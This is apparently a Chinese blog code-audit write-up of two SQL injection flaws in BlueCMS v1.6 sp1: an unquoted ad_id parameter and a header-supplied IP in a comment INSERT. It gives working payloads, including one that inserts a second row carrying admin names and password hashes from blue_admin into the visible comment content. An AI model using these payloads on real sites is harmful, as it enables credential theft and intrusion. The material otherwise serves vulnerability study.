• 代码审计之SQL注入:BlueCMSv1.6 sp1


    注入一
    

    我们看到很明显的一个地方

    这里get传参的ad_id给了sql语句执行 这个cms虽然不是mvc模型但是采用的和discuz差不多都是采用模型推入,模板渲染两步把模板功能很清晰的分开 所以我们不难在全局方法中找打getone

    我们进一步跟进一下getone方法

        function getone($sql, $type=MYSQL_ASSOC){
        	$query = $this->query($sql,$this->linkid);
        	$row = mysql_fetch_array($query, $type);
        	return $row;
        }
    <?php
    $con = mysql_connect("localhost", "hello", "321");
    if (!$con)
      {
      die('Could not connect: ' . mysql_error());
      }
    
    $db_selected = mysql_select_db("test_db",$con);
    $sql = "SELECT * from Person WHERE Lastname='Adams'";
    $result = mysql_query($sql,$con);
    print_r(mysql_fetch_array($result));
    
    mysql_close($con);
    ?>
    
    输出类似:
    
    Array
    (
    [0] => Adams
    [LastName] => Adams
    [1] => John
    [FirstName] => John
    [2] => London
    [City] => London
    ) 

     就是一个执行$sql语句的函数返回结果 那我们来观察这个语句

    $ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
    

     很明显$ad_id在get方法里面经过trim去掉两边空白字符就给sql语句执行了

    那么构造我们的payload

    很明显还有报错注入

    SELECT * FROM table(ad) WHERE ad_id =1 union select 1,2,3,4,5,6,7
    

     

     注入二

    $sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";
    $db->query($sql);
    

     首先我们看到的是这段代码

    其他不看由于今晚时间有限直接定位到

    getip()函数

    就是从各类含有ip的http各种头里面获取ip未对ip进行任何处理

    那么我们这段代码里面的getip()就是我们可控的请求里面把ip对应的参数改了就行

    1','1'),('','6','2','1','6',(select concat(admin_name,':',pwd) from blue_admin),'1','1
    
    payload分析:1’,’1’)是为了完成第一次插入,之后的()是为了完成第二次插入,前面的 ‘’,’6’,’2’,’1’,’6’ 是与第一个插入语句的参数相对应。接下来,我们把查询到的账号密码放在了第六个参数即content位置,这样能实现回显。而最后的 ‘1’,’1 是要满足列数相等否则会出错,同时要注意闭合原本语句中的单引号,其中第一个 1 对应sql语句中的$timestamp,表示发表时间,这个无关紧要。
    
    所以这样插入后完整的sql语句是:
    
    $sql = INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check)
      VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '1','1'),('','6','2','1','6',(select concat(admin_name,':',pwd) from blue_admin),'1','1', '$is_check')";
    
  • 相关阅读:
    Java知识系统回顾整理01基础02面向对象03方法
    可插件化拓展改造器 slot-maven-plugin
    数据治理框架
    Java读写hdfs上的avro文件
    FTPClient的使用
    Java读写hdfs上的avro文件
    图片上传预览
    css hack 用法注意
    获取get请求后面的参数
    js全局变量污染
  • 原文地址:https://www.cnblogs.com/-zhong/p/12507912.html
Copyright © 2020-2023  润新知